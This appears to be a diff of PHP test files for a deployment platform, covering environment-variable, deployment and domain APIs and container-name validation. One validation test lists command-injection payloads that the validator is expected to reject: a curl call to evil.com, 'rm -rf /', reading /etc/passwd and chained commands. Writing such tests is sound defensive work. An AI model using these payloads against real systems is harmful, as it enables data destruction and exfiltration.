||||
'comment' => 'This is a test comment',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$env = EnvironmentVariable::where('key', 'COMMENTED_VAR')
|
||||
->where('resourceable_id', $database->id)
|
||||
->first();
|
||||
|
||||
expect($env->comment)->toBe('This is a test comment');
|
||||
});
|
||||
|
||||
test('returns 409 when environment variable already exists', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'EXISTING_VAR',
|
||||
'value' => 'existing_value',
|
||||
'resourceable_type' => StandalonePostgresql::class,
|
||||
'resourceable_id' => $database->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/databases/{$database->uuid}/envs", [
|
||||
'key' => 'EXISTING_VAR',
|
||||
'value' => 'new_value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(409);
|
||||
});
|
||||
|
||||
test('returns 422 when key is missing', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/databases/{$database->uuid}/envs", [
|
||||
'value' => 'some_value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/databases/{uuid}/envs', function () {
|
||||
test('updates an environment variable', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'UPDATE_ME',
|
||||
'value' => 'old_value',
|
||||
'resourceable_type' => StandalonePostgresql::class,
|
||||
'resourceable_id' => $database->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}/envs", [
|
||||
'key' => 'UPDATE_ME',
|
||||
'value' => 'new_value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$env = EnvironmentVariable::where('key', 'UPDATE_ME')
|
||||
->where('resourceable_id', $database->id)
|
||||
->first();
|
||||
|
||||
expect($env->value)->toBe('new_value');
|
||||
});
|
||||
|
||||
test('returns 404 when environment variable does not exist', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}/envs", [
|
||||
'key' => 'NONEXISTENT',
|
||||
'value' => 'value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/databases/{uuid}/envs/bulk', function () {
|
||||
test('creates environment variables with comments', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'DB_HOST',
|
||||
'value' => 'localhost',
|
||||
'comment' => 'Database host',
|
||||
],
|
||||
[
|
||||
'key' => 'DB_PORT',
|
||||
'value' => '5432',
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$envWithComment = EnvironmentVariable::where('key', 'DB_HOST')
|
||||
->where('resourceable_id', $database->id)
|
||||
->where('resourceable_type', StandalonePostgresql::class)
|
||||
->first();
|
||||
|
||||
$envWithoutComment = EnvironmentVariable::where('key', 'DB_PORT')
|
||||
->where('resourceable_id', $database->id)
|
||||
->where('resourceable_type', StandalonePostgresql::class)
|
||||
->first();
|
||||
|
||||
expect($envWithComment->comment)->toBe('Database host');
|
||||
expect($envWithoutComment->comment)->toBeNull();
|
||||
});
|
||||
|
||||
test('updates existing environment variables via bulk', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'BULK_VAR',
|
||||
'value' => 'old_value',
|
||||
'comment' => 'Old comment',
|
||||
'resourceable_type' => StandalonePostgresql::class,
|
||||
'resourceable_id' => $database->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'BULK_VAR',
|
||||
'value' => 'new_value',
|
||||
'comment' => 'Updated comment',
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$env = EnvironmentVariable::where('key', 'BULK_VAR')
|
||||
->where('resourceable_id', $database->id)
|
||||
->first();
|
||||
|
||||
expect($env->value)->toBe('new_value');
|
||||
expect($env->comment)->toBe('Updated comment');
|
||||
});
|
||||
|
||||
test('rejects comment exceeding 256 characters', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'value',
|
||||
'comment' => str_repeat('a', 257),
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('returns 400 when data is missing', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", []);
|
||||
|
||||
$response->assertStatus(400);
|
||||
});
|
||||
});
|
||||
|
||||
describe('DELETE /api/v1/databases/{uuid}/envs/{env_uuid}', function () {
|
||||
test('deletes an environment variable', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$env = EnvironmentVariable::create([
|
||||
'key' => 'DELETE_ME',
|
||||
'value' => 'to_delete',
|
||||
'resourceable_type' => StandalonePostgresql::class,
|
||||
'resourceable_id' => $database->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->deleteJson("/api/v1/databases/{$database->uuid}/envs/{$env->uuid}");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJson(['message' => 'Environment variable deleted.']);
|
||||
|
||||
expect(EnvironmentVariable::where('uuid', $env->uuid)->first())->toBeNull();
|
||||
});
|
||||
|
||||
test('returns 404 for non-existent environment variable', function () {
|
||||
$database = createDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->deleteJson("/api/v1/databases/{$database->uuid}/envs/non-existent-uuid");
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,125 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Import;
|
||||
use App\Support\ValidationPatterns;
|
||||
|
||||
describe('container name validation', function () {
|
||||
test('isValidContainerName accepts valid container names', function () {
|
||||
expect(ValidationPatterns::isValidContainerName('my-container'))->toBeTrue();
|
||||
expect(ValidationPatterns::isValidContainerName('my_container'))->toBeTrue();
|
||||
expect(ValidationPatterns::isValidContainerName('container123'))->toBeTrue();
|
||||
expect(ValidationPatterns::isValidContainerName('my.container.name'))->toBeTrue();
|
||||
expect(ValidationPatterns::isValidContainerName('a'))->toBeTrue();
|
||||
expect(ValidationPatterns::isValidContainerName('abc-def_ghi.jkl'))->toBeTrue();
|
||||
});
|
||||
|
||||
test('isValidContainerName rejects command injection payloads', function () {
|
||||
// Command substitution
|
||||
expect(ValidationPatterns::isValidContainerName('$(curl http://evil.com/$(whoami))'))->toBeFalse();
|
||||
expect(ValidationPatterns::isValidContainerName('$(whoami)'))->toBeFalse();
|
||||
|
||||
// Backtick injection
|
||||
expect(ValidationPatterns::isValidContainerName('`id`'))->toBeFalse();
|
||||
|
||||
// Semicolon chaining
|
||||
expect(ValidationPatterns::isValidContainerName('container;rm -rf /'))->toBeFalse();
|
||||
|
||||
// Pipe injection
|
||||
expect(ValidationPatterns::isValidContainerName('container|cat /etc/passwd'))->toBeFalse();
|
||||
|
||||
// Ampersand chaining
|
||||
expect(ValidationPatterns::isValidContainerName('container&&env'))->toBeFalse();
|
||||
|
||||
// Spaces (not valid in Docker container names)
|
||||
expect(ValidationPatterns::isValidContainerName('container name'))->toBeFalse();
|
||||
|
||||
// Newlines
|
||||
expect(ValidationPatterns::isValidContainerName("container\nid"))->toBeFalse();
|
||||
|
||||
// Must start with alphanumeric
|
||||
expect(ValidationPatterns::isValidContainerName('-container'))->toBeFalse();
|
||||
expect(ValidationPatterns::isValidContainerName('.container'))->toBeFalse();
|
||||
expect(ValidationPatterns::isValidContainerName('_container'))->toBeFalse();
|
||||
});
|
||||
});
|
||||
|
||||
describe('locked properties', function () {
|
||||
test('container property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'container');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('serverId property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'serverId');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceId property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceId');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceType property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceType');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceUuid property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceUuid');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceDbType property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceDbType');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
});
|
||||
|
||||
describe('server method uses team scoping', function () {
|
||||
test('server computed property calls ownedByCurrentTeam', function () {
|
||||
$method = new ReflectionMethod(Import::class, 'server');
|
||||
|
||||
// Extract the server method body
|
||||
$startLine = $method->getStartLine();
|
||||
$endLine = $method->getEndLine();
|
||||
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
||||
$methodBody = implode('', $lines);
|
||||
|
||||
expect($methodBody)->toContain('ownedByCurrentTeam');
|
||||
expect($methodBody)->not->toContain('Server::find($this->serverId)');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Import component uses shared ValidationPatterns', function () {
|
||||
test('runImport references ValidationPatterns for container validation', function () {
|
||||
$method = new ReflectionMethod(Import::class, 'runImport');
|
||||
$startLine = $method->getStartLine();
|
||||
$endLine = $method->getEndLine();
|
||||
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
||||
$methodBody = implode('', $lines);
|
||||
|
||||
expect($methodBody)->toContain('ValidationPatterns::isValidContainerName');
|
||||
});
|
||||
|
||||
test('restoreFromS3 references ValidationPatterns for container validation', function () {
|
||||
$method = new ReflectionMethod(Import::class, 'restoreFromS3');
|
||||
$startLine = $method->getStartLine();
|
||||
$endLine = $method->getEndLine();
|
||||
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
||||
$methodBody = implode('', $lines);
|
||||
|
||||
expect($methodBody)->toContain('ValidationPatterns::isValidContainerName');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,94 @@
|
||||
<?php
|
||||
|
||||
use App\Enums\ApplicationDeploymentStatus;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
// Create token manually since User::createToken relies on session('currentTeam')
|
||||
$plainTextToken = Str::random(40);
|
||||
$token = $this->user->tokens()->create([
|
||||
'name' => 'test-token',
|
||||
'token' => hash('sha256', $plainTextToken),
|
||||
'abilities' => ['*'],
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
});
|
||||
|
||||
describe('GET /api/v1/deployments/{uuid}', function () {
|
||||
test('returns 401 when not authenticated', function () {
|
||||
$response = $this->getJson('/api/v1/deployments/fake-uuid');
|
||||
|
||||
$response->assertUnauthorized();
|
||||
});
|
||||
|
||||
test('returns 404 when deployment not found', function () {
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->getJson('/api/v1/deployments/non-existent-uuid');
|
||||
|
||||
$response->assertNotFound();
|
||||
$response->assertJson(['message' => 'Deployment not found.']);
|
||||
});
|
||||
|
||||
test('returns deployment when uuid is valid and belongs to team', function () {
|
||||
$deployment = ApplicationDeploymentQueue::create([
|
||||
'deployment_uuid' => 'test-deploy-uuid',
|
||||
'application_id' => $this->application->id,
|
||||
'server_id' => $this->server->id,
|
||||
'status' => ApplicationDeploymentStatus::IN_PROGRESS->value,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->getJson("/api/v1/deployments/{$deployment->deployment_uuid}");
|
||||
|
||||
$response->assertSuccessful();
|
||||
$response->assertJsonFragment(['deployment_uuid' => 'test-deploy-uuid']);
|
||||
});
|
||||
|
||||
test('returns 404 when deployment belongs to another team', function () {
|
||||
$otherTeam = Team::factory()->create();
|
||||
$otherProject = Project::factory()->create(['team_id' => $otherTeam->id]);
|
||||
$otherEnvironment = Environment::factory()->create(['project_id' => $otherProject->id]);
|
||||
$otherApplication = Application::factory()->create([
|
||||
'environment_id' => $otherEnvironment->id,
|
||||
]);
|
||||
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
|
||||
|
||||
$deployment = ApplicationDeploymentQueue::create([
|
||||
'deployment_uuid' => 'other-team-deploy-uuid',
|
||||
'application_id' => $otherApplication->id,
|
||||
'server_id' => $otherServer->id,
|
||||
'status' => ApplicationDeploymentStatus::IN_PROGRESS->value,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->getJson("/api/v1/deployments/{$deployment->deployment_uuid}");
|
||||
|
||||
$response->assertNotFound();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,50 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\DockerCleanupJob;
|
||||
use App\Models\DockerCleanupExecution;
|
||||
use App\Models\Server;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('creates a failed execution record when server is not functional', function () {
|
||||
$user = User::factory()->create();
|
||||
$team = $user->teams()->first();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
// Make server not functional by setting is_reachable to false
|
||||
$server->settings->update(['is_reachable' => false]);
|
||||
|
||||
$job = new DockerCleanupJob($server);
|
||||
$job->handle();
|
||||
|
||||
$execution = DockerCleanupExecution::where('server_id', $server->id)->first();
|
||||
|
||||
expect($execution)->not->toBeNull()
|
||||
->and($execution->status)->toBe('failed')
|
||||
->and($execution->message)->toContain('not functional')
|
||||
->and($execution->finished_at)->not->toBeNull();
|
||||
});
|
||||
|
||||
it('creates a failed execution record when server is force disabled', function () {
|
||||
$user = User::factory()->create();
|
||||
$team = $user->teams()->first();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
// Make server not functional by force disabling
|
||||
$server->settings->update([
|
||||
'is_reachable' => true,
|
||||
'is_usable' => true,
|
||||
'force_disabled' => true,
|
||||
]);
|
||||
|
||||
$job = new DockerCleanupJob($server);
|
||||
$job->handle();
|
||||
|
||||
$execution = DockerCleanupExecution::where('server_id', $server->id)->first();
|
||||
|
||||
expect($execution)->not->toBeNull()
|
||||
->and($execution->status)->toBe('failed')
|
||||
->and($execution->message)->toContain('not functional');
|
||||
});
|
||||
@@ -198,3 +198,20 @@ test('ConvertEntrypointSingleQuotedWithDoubleQuotesInside', function () {
|
||||
'entrypoint' => 'python -c "print(\"hi\")"',
|
||||
]);
|
||||
});
|
||||
|
||||
test('ConvertIp6', function () {
|
||||
$input = '--ip6 2001:db8::1';
|
||||
$output = convertDockerRunToCompose($input);
|
||||
expect($output)->toBe([
|
||||
'ip6' => ['2001:db8::1'],
|
||||
]);
|
||||
});
|
||||
|
||||
test('ConvertIpAndIp6Together', function () {
|
||||
$input = '--ip 172.20.0.5 --ip6 2001:db8::1';
|
||||
$output = convertDockerRunToCompose($input);
|
||||
expect($output)->toBe([
|
||||
'ip' => ['172.20.0.5'],
|
||||
'ip6' => ['2001:db8::1'],
|
||||
]);
|
||||
});
|
||||
@@ -0,0 +1,123 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
session(['currentTeam' => $this->team]);
|
||||
$this->token = $this->user->createToken('test-token', ['*']);
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
function authHeaders(): array
|
||||
{
|
||||
return [
|
||||
'Authorization' => 'Bearer '.test()->bearerToken,
|
||||
];
|
||||
}
|
||||
|
||||
test('returns domains for own team application via uuid query param', function () {
|
||||
$application = Application::factory()->create([
|
||||
'fqdn' => 'https://my-app.example.com',
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders())
|
||||
->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$application->uuid}");
|
||||
|
||||
$response->assertOk();
|
||||
$response->assertJsonFragment(['my-app.example.com']);
|
||||
});
|
||||
|
||||
test('returns 404 when application uuid belongs to another team', function () {
|
||||
$otherTeam = Team::factory()->create();
|
||||
$otherUser = User::factory()->create();
|
||||
$otherTeam->members()->attach($otherUser->id, ['role' => 'owner']);
|
||||
|
||||
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
|
||||
$otherDestination = StandaloneDocker::where('server_id', $otherServer->id)->first();
|
||||
$otherProject = Project::factory()->create(['team_id' => $otherTeam->id]);
|
||||
$otherEnvironment = Environment::factory()->create(['project_id' => $otherProject->id]);
|
||||
|
||||
$otherApplication = Application::factory()->create([
|
||||
'fqdn' => 'https://secret-app.internal.company.com',
|
||||
'environment_id' => $otherEnvironment->id,
|
||||
'destination_id' => $otherDestination->id,
|
||||
'destination_type' => $otherDestination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders())
|
||||
->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$otherApplication->uuid}");
|
||||
|
||||
$response->assertNotFound();
|
||||
$response->assertJson(['message' => 'Application not found.']);
|
||||
});
|
||||
|
||||
test('returns 404 for nonexistent application uuid', function () {
|
||||
$response = $this->withHeaders(authHeaders())
|
||||
->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid=nonexistent-uuid");
|
||||
|
||||
$response->assertNotFound();
|
||||
$response->assertJson(['message' => 'Application not found.']);
|
||||
});
|
||||
|
||||
test('returns 404 when server uuid belongs to another team', function () {
|
||||
$otherTeam = Team::factory()->create();
|
||||
$otherUser = User::factory()->create();
|
||||
$otherTeam->members()->attach($otherUser->id, ['role' => 'owner']);
|
||||
|
||||
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders())
|
||||
->getJson("/api/v1/servers/{$otherServer->uuid}/domains");
|
||||
|
||||
$response->assertNotFound();
|
||||
$response->assertJson(['message' => 'Server not found.']);
|
||||
});
|
||||
|
||||
test('only returns domains for applications on the specified server', function () {
|
||||
$application = Application::factory()->create([
|
||||
'fqdn' => 'https://app-on-server.example.com',
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$otherServer = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$otherDestination = StandaloneDocker::where('server_id', $otherServer->id)->first();
|
||||
|
||||
$applicationOnOtherServer = Application::factory()->create([
|
||||
'fqdn' => 'https://app-on-other-server.example.com',
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $otherDestination->id,
|
||||
'destination_type' => $otherDestination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders())
|
||||
->getJson("/api/v1/servers/{$this->server->uuid}/domains");
|
||||
|
||||
$response->assertOk();
|
||||
$responseContent = $response->json();
|
||||
$allDomains = collect($responseContent)->pluck('domains')->flatten()->toArray();
|
||||
expect($allDomains)->toContain('app-on-server.example.com');
|
||||
expect($allDomains)->not->toContain('app-on-other-server.example.com');
|
||||
});
|
||||
@@ -0,0 +1,244 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::updateOrCreate(['id' => 0]);
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->token = $this->user->createToken('test-token', ['*']);
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid}/envs/bulk', function () {
|
||||
test('creates environment variables with comments', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'DB_HOST',
|
||||
'value' => 'localhost',
|
||||
'comment' => 'Database host for production',
|
||||
],
|
||||
[
|
||||
'key' => 'DB_PORT',
|
||||
'value' => '5432',
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$envWithComment = EnvironmentVariable::where('key', 'DB_HOST')
|
||||
->where('resourceable_id', $application->id)
|
||||
->where('is_preview', false)
|
||||
->first();
|
||||
|
||||
$envWithoutComment = EnvironmentVariable::where('key', 'DB_PORT')
|
||||
->where('resourceable_id', $application->id)
|
||||
->where('is_preview', false)
|
||||
->first();
|
||||
|
||||
expect($envWithComment->comment)->toBe('Database host for production');
|
||||
expect($envWithoutComment->comment)->toBeNull();
|
||||
});
|
||||
|
||||
test('updates existing environment variable comment', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'API_KEY',
|
||||
'value' => 'old-key',
|
||||
'comment' => 'Old comment',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'API_KEY',
|
||||
'value' => 'new-key',
|
||||
'comment' => 'Updated comment',
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$env = EnvironmentVariable::where('key', 'API_KEY')
|
||||
->where('resourceable_id', $application->id)
|
||||
->where('is_preview', false)
|
||||
->first();
|
||||
|
||||
expect($env->value)->toBe('new-key');
|
||||
expect($env->comment)->toBe('Updated comment');
|
||||
});
|
||||
|
||||
test('preserves existing comment when not provided in bulk update', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'SECRET',
|
||||
'value' => 'old-secret',
|
||||
'comment' => 'Keep this comment',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'SECRET',
|
||||
'value' => 'new-secret',
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$env = EnvironmentVariable::where('key', 'SECRET')
|
||||
->where('resourceable_id', $application->id)
|
||||
->where('is_preview', false)
|
||||
->first();
|
||||
|
||||
expect($env->value)->toBe('new-secret');
|
||||
expect($env->comment)->toBe('Keep this comment');
|
||||
});
|
||||
|
||||
test('rejects comment exceeding 256 characters', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [
|
||||
'data' => [
|
||||
[
|
||||
'key' => 'TEST_VAR',
|
||||
'value' => 'value',
|
||||
'comment' => str_repeat('a', 257),
|
||||
],
|
||||
],
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/services/{uuid}/envs/bulk', function () {
|
||||
test('creates environment variables with comments', function () {
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
